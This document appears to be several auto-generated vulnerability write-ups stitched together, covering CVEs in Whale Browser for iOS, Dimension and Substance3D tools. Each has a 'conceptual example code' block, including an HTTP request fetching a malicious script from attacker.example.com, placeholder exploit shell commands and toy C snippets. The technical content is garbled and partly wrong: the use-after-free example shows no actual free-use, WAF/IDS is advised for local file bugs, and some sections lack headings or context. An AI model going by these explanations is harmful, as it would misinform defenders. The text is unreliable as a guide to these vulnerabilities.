Affected Products

Product | Affected Versions

Whale Browser for iOS | Before 3.9.1.4206

How the Exploit Works

The CVE-2025-53599 vulnerability allows the execution of malicious scripts in the Whale browser via a crafted JavaScript scheme. This exploit is typically delivered in a network-based attack, often through a phishing or spear-phishing email, or a malicious webpage.
The cybercriminal crafts a malicious JavaScript scheme that, when executed in the Whale browser, triggers the vulnerability. Given that this exploit requires user interaction, the attacker typically disguises the malicious script as a legitimate link or button that the victim is enticed to click.

Conceptual Example Code

Here’s a conceptual example of how an attacker might craft a malicious HTTP request exploiting this vulnerability:
```
GET /malicious/script.js HTTP/1.1
Host: attacker.example.com
User-Agent: WhaleBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://legitimate.example.com
Accept-Language: en-US,en;q=0.5
```
In this example, the attacker hosts a malicious JavaScript file (`script.js`) on their server (`attacker.example.com`), and tricks the user into requesting this file by clicking a disguised link or button on a seemingly legitimate website (`http://legitimate.example.com`). When the Whale browser processes this request, it triggers the vulnerability and executes the malicious script.
It is highly recommended for users to apply the vendor’s patch immediately or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation until the patch can be applied.

Affected Products

Product | Affected Versions

Dimension | 4.1.2 and earlier versions

How the Exploit Works

The vulnerability stems from an out-of-bounds write error in the Dimension software. When a user opens a malicious file, this error can be exploited to write data outside the intended memory boundaries, causing memory corruption. This could lead to arbitrary code execution in the context of the current user. Despite requiring user interaction, the exploit can be disguised in seemingly harmless files, making it a potent threat.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this hypothetical scenario, a malicious file containing the exploit code would look something like this:
```
# Malicious exploit code
echo 'base64_encoded_exploit' > exploit.bin
# Trigger the vulnerability
./dimension exploit.bin
```
In the above example, the `base64_encoded_exploit` is the exploit code encoded in base64. The exploit is written to a binary file called `exploit.bin`. The Dimension software is then tricked into opening this binary file, triggering the out-of-bounds write vulnerability and executing the arbitrary code.
Please note that this is a conceptual representation of how the exploit would work and not a working exploit code. The actual exploit would depend on several factors, including the specific memory layout of the targeted system and the exact nature of the out-of-bounds write vulnerability.

Mitigation Guidance

To mitigate this vulnerability, users of affected Dimension versions should apply the vendor-provided patch as soon as it becomes available. In the meantime, or if a patch is not yet available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by monitoring and blocking suspicious activities.
Remember, staying updated with the latest patches and maintaining a robust security system are key steps in safeguarding your digital assets from potential cyber threats.

Product | Affected Versions

Substance3D – Stager | 3.1.1 and earlier

How the Exploit Works

The CVE-2025-43570 vulnerability is a Use After Free (UAF) type of vulnerability. In this case, a specific object in memory is prematurely freed, but later, a malicious file is processed which still references this deallocated memory. This allows an attacker to exploit this condition to execute arbitrary code in the context of the current user.

Conceptual Example Code

To understand this vulnerability, consider the following conceptual example. This is not an actual exploit code but a simplified representation of how the attack would take place:
```
// A simplified conceptual representation of the UAF vulnerability
#include <stdio.h>
#include <stdlib.h>
int main() {
char* pointer = (char*) malloc(10); // allocate memory
free(pointer); // free the memory prematurely
// A malicious file could overwrite the freed memory with arbitrary code
pointer = "malicious_code";
// The program then accesses the freed memory
printf("%s\n", pointer); // arbitrary code execution
}
```
In this example, after the memory pointed by `pointer` is freed, a malicious file overwrites it with arbitrary code. When the program attempts to access the freed memory, it inadvertently executes the malicious code.

How to Mitigate

The best way to mitigate this vulnerability is by applying a vendor patch. In case the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help protect your system temporarily. It is crucial to note that these are only temporary measures, and a permanent fix should be applied as soon as it becomes available from the vendor. In the meantime, it is also recommended not to open files from untrusted or unknown sources to prevent potential exploitation.

Affected Products

Product | Affected Versions

Substance3D – Modeler | 1.21.0 and earlier

How the Exploit Works

The CVE-2025-43554 vulnerability is a result of an out-of-bounds write condition within the Substance3D – Modeler software. When a user opens a specially crafted malicious file, the software fails to properly validate the size of user-supplied data before writing it to a fixed-length, stack-based buffer. This oversight leads to a buffer overflow, allowing an attacker to overwrite critical memory locations with their own arbitrary code.

Conceptual Example Code

Consider the following pseudocode which illustrates the basic premise of this exploit:
```
// Simulated function in Substance3D Modeler processing a user-crafted file
void process_file(char *filename){
char buffer[100];
FILE *file = fopen(filename, "r");
// buffer overflow occurs when the file contains more than 100 bytes
fread(buffer, 1, 500, file);
fclose(file);
// the overflowed buffer can alter program execution flow
}
```
In this scenario, the user-supplied data (the malicious file) is read into the buffer without checking its size, leading to a buffer overflow when the file contains more than 100 bytes. This overflow can be manipulated to alter the program execution flow, allowing an attacker to execute arbitrary code.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. Until the patch is released, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. Further, users should avoid opening files from untrusted sources to minimize the risk of exposure.

```
# Pseudocode for CVE-2025-43553 exploitation
def exploit_cve_2025_43553():
# Step 1: Create malicious resource
malicious_resource = create_malicious_resource()
# Step 2: Manipulate search path
manipulate_search_path(malicious_resource_path)
# Step 3: Trick user into opening a malicious file
trick_user_open_file(malicious_file)
# If the above steps are successful, the malicious code is executed
execute_code(malicious_resource)
```
It’s important to note that this is a simplified example. Real-world attacks are likely to be more complex and harder to detect.

Mitigation

Users can protect themselves against this vulnerability by applying the vendor patch promptly once it is available.

Affected Products

Product | Affected Versions

Dimension | 4.1.2 and earlier

How the Exploit Works

The vulnerability in question, CVE-2025-43548, involves an out-of-bounds write condition within Dimension versions 4.1.2 and earlier. The flaw exists due to insufficient boundary checks when handling certain file types. This boundary checking flaw can be exploited by an attacker by crafting a malicious file, which when opened by a user, could lead to an out-of-bounds write condition. This could ultimately allow the attacker to write arbitrary data to the memory and potentially execute arbitrary code in the context of the current user, leading to a potential system compromise or data leakage.

Conceptual Example Code

Let’s consider a conceptual example, where the vulnerability could be exploited using a malicious file. The attacker crafts a file with an overly large value or data that’s expected to exceed the buffer limits. This could look something like this:
```
echo -n "OVERLY_LARGE_DATA" > malicious_file
```
Then, the attacker tricks the user into opening this malicious file with Dimension, exploiting the out-of-bounds write vulnerability:
```
Dimension open malicious_file
```
Upon opening the file, the overly large data causes an out-of-bounds write, resulting in memory corruption. This could allow the attacker to execute arbitrary code or even take control of the system.
Please note that this example is purely conceptual and meant to illustrate the nature of the vulnerability. Actual exploitation would likely involve more sophisticated techniques and could vary based on a variety of factors.
